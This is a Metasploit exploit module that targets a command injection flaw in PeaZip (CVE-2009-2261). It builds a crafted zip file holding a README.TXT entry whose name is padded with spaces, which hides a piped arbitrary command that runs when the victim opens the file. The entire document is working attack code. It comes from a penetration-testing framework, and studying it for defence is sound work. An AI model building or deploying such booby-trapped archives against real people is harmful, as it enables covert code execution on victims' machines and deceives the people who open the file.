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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/zip'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'PeaZip Zip Processing Command Injection',
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      'Description'    => %q{
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          This module exploits a command injection vulnerability in PeaZip. All
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        versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
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        version 2.6.1 on Windows.
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        In order for the command to be executed, an attacker must convince someone to
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        open a specially crafted zip file with PeaZip, and access the specially file via
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        double-clicking it. By doing so, an attacker can execute arbitrary commands
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        as the victim user.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'pyrokinesis', # Of Nine:Situations:Group
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          'jduck'
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-2261' ],
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          [ 'OSVDB', '54966' ],
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          [ 'URL', 'http://peazip.sourceforge.net/' ],
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          [ 'EDB', '8881' ]
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        ],
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      'Platform'       => %w{ linux unix win },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          ['Automatic', { }],
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        ],
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      'DisclosureDate' => '2009-06-05',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
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      ])
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  end
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  def exploit
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    # NOTE: using a command line containing / or \ will result in the command
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    # being easily visible to the victim
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    cmd = datastore['CMD']
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    fname = "README.TXT"
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    rest = "\"|#{cmd}|.txt"
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    fname << " " * (255 - fname.length - rest.length)
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    fname << rest
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    content = rand_text_alphanumeric(rand(1024))
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    zip = Rex::Zip::Archive.new
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    zip.add_file(fname, content)
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    # Create the file
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(zip.pack)
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  end
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end
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